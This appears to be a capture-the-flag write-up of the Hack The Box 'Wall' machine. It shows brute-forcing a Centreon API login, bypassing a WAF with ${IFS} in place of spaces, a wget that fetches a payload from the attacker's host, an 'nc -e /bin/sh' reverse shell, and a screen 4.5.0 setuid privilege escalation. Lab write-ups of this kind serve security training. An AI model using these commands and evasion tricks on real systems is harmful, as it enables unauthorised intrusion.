Hum we do not have too much informations here. /monitoring and /server-status prompt Basic Auth.
From here we didn’t make a lot of progress. Trying to brute-force the Basic Auth of /monitoring and /server-status doesn’t gives results. We don’t even have any particular informations on the two php files. After getting into rabbit holes for a few times I decided to try different HTTP Method on the php endpoints with a simple command:
1 2 3 4
[hg8@archbook ~]$ for method in GET HG8 POST PUT PATCH DELETE OPTIONS TRACE CONNECT; do > echo"\n$method:" > curl -X $method http://wall.htb/aa.php > done
No interresting results, neither on panel.php. Out of despair I decide to try on the /monitoring endpoint. And finally:
1 2 3 4 5 6 7 8 9 10 11
[hg8@archbook ~]$ for method in GET HG8 POST PUT PATCH DELETE OPTIONS TRACE CONNECT; do echo"\n$method:" curl -X $method http://wall.htb/monitoring/ done [...] POST: <h1>This page is not ready yet !</h1> <h2>We should redirect you to the required page !</h2>
Interresting, the /centreon endpoint slipped from the gobuster enumeration. Maybe a bigger wordlist might have discovered it. For future references I add this endpoint to the wordlist I use the most :
Unfortunately this is a Authenticated RCE and we have no way to bypass authentication. Since we don’t have any clues, let’s try to bruteforce with user admin.
To avoid the struggle of centreon token on the login page we will use the Centreon API instead. The documentation is available on the Centreon documentation.
I like to use Probable-Wordlists instead of the classic rockyou.txt that countains too much garbages:
Target: http://wall.htb/centreon/api/index.php?action=authenticate Total requests: 303872
=================================================================== ID Response Lines Word Chars Payload ===================================================================
000000048: 200 0 L 1 W 61 Ch "password1" ^C
We now have the credentials, let’s login and try to execute the exploit. The exploit author wrote a blog post explaining in detail the issue and how the exploit work. It’s a very useful ressource to tweak the exploit to make it working on this box.
I had to tweak a few lines to make it work it work properly on that box, my final script was :
The exploit takes one argument which is the command we want to run. Let’s try to run a netcat reverse shell:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
[hg8@archbook ~]$ python exploit.py "nc -e /bin/sh 10.0.0.1 8585" [+] Retrieving CSRF token to submit the login form [+] Login token is : b4710792d09b371b03c9ef6d3bbf3f26 [+] Logged In [+] Retrieving Poller token [+] Poller token is : c7f63cd8143107496edfdb8ac304b5ca <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>403 Forbidden</title> </head><body> <h1>Forbidden</h1> <p>You don't have permission to access /centreon/main.get.php on this server.<br /> </p> <hr> <address>Apache/2.4.29 (Ubuntu) Server at wall.htb Port 80</address> </body></html> [+] Injecting Done.
Hum, we get stuck with Forbidden.
Seems like a WAF (web application firewall) is in place (probably the why the box name is Wall). When we send a simple test command, like test the injection succeed. Let’s try to send a few special char we had in our netcat command to find which one exactly is filtered :
1 2 3 4 5 6 7
[hg8@archbook ~]$ python exploit.py "-/,." [+] Retrieving CSRF token to submit the login form [+] Login token is : b4710792d09b371b03c9ef6d3bbf3f26 [+] Logged In [+] Retrieving Poller token [+] Poller token is : c7f63cd8143107496edfdb8ac304b5ca [+] Injecting Done.
No blocking this time… So what remains ? The space of course…. Let’s give it a try:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
[hg8@archbook ~]$ python exploit.py "test test" [+] Retrieving CSRF token to submit the login form [+] Login token is : b4710792d09b371b03c9ef6d3bbf3f26 [+] Logged In [+] Retrieving Poller token [+] Poller token is : c7f63cd8143107496edfdb8ac304b5ca <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>403 Forbidden</title> </head><body> <h1>Forbidden</h1> <p>You don't have permission to access /centreon/main.get.php on this server.<br /> </p> <hr> <address>Apache/2.4.29 (Ubuntu) Server at wall.htb Port 80</address> </body></html> [+] Injecting Done.
So now we have to find a solution to use command without spaces… Searching a bit online we find that it’s possible to use the Internal field separator :
The shell treats each character of $IFS as a delimiter, and splits the results of the other expansions into words on these characters.
Let’s give it try:
1 2
[hg8@archbook ~]$ echo$IFStest [hg8@archbook ~]$
Unfortunately this doesn’t seems to work but using the brackets works!
1 2
[hg8@archbook ~]$ echo${IFS}test test
Let’s try edit our exploit to replace spaces with the IFS:
This time we are going to open a local web server to have feedback on wether our command injection worked on not. In a new terminal let’s open a python simple http server:
1 2
[hg8@archbook ~]$ python -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
And let’s run our exploit again:
1 2 3 4 5 6 7
[hg8@archbook ~]$ python exploit.py "wget 10.10.10.10:8000/hg8.py -O /tmp/hg8.py" [+] Retrieving CSRF token to submit the login form [+] Login token is : 56855cc04ceb87148ce7d83c4b90bd9e [+] Logged In [+] Retrieving Poller token [+] Poller token is : 7b642628745280f86fc6100f43fd7ad9 [+] Injecting Done.
Since we managed to write it to the server, let’s run it now. We first open our nc listener:
1 2
[hg8@archbook ~]$ nc -l -vv -p 8585 Listening on any address 8585
And run the exploit again :
1 2 3 4 5 6 7
[hg8@archbook ~]$ python exploit.py "python /tmp/hg8.py" [+] Retrieving CSRF token to submit the login form [+] Login token is : b4710792d09b371b03c9ef6d3bbf3f26 [+] Logged In [+] Retrieving Poller token [+] Poller token is : c7f63cd8143107496edfdb8ac304b5ca [+] Injecting Done.
And the shell open in our reverse shell:
1 2 3 4 5 6
[hg8@archbook ~]$ nc -l -vv -p 8585 Listening on any address 8585 Connection from 10.10.10.157:50472 /bin/sh: 0: can't access tty; job control turned off $ id uid=33(www-data) gid=33(www-data) groups=33(www-data),6000(centreon)
We got our first shell. Time to move onto the user flag.
Interresting, I always run a search for binaries with setuid bit enabled first and this returned screen in version 4.5.0.
As a reminder :
Binaries with the setuid bit enabled, are being executed as if they were running under the context of the root user. This enables normal (non-privileged) users to use special privileges, like opening sockets. While this seems unnecessary for a normal user, it is actually needed for simple commands like ping.
After a bit of search we stumbled upon a bug that allows to privilege escalte to root with screen 4.5.0 and setuid bit set. Let’s give it a try !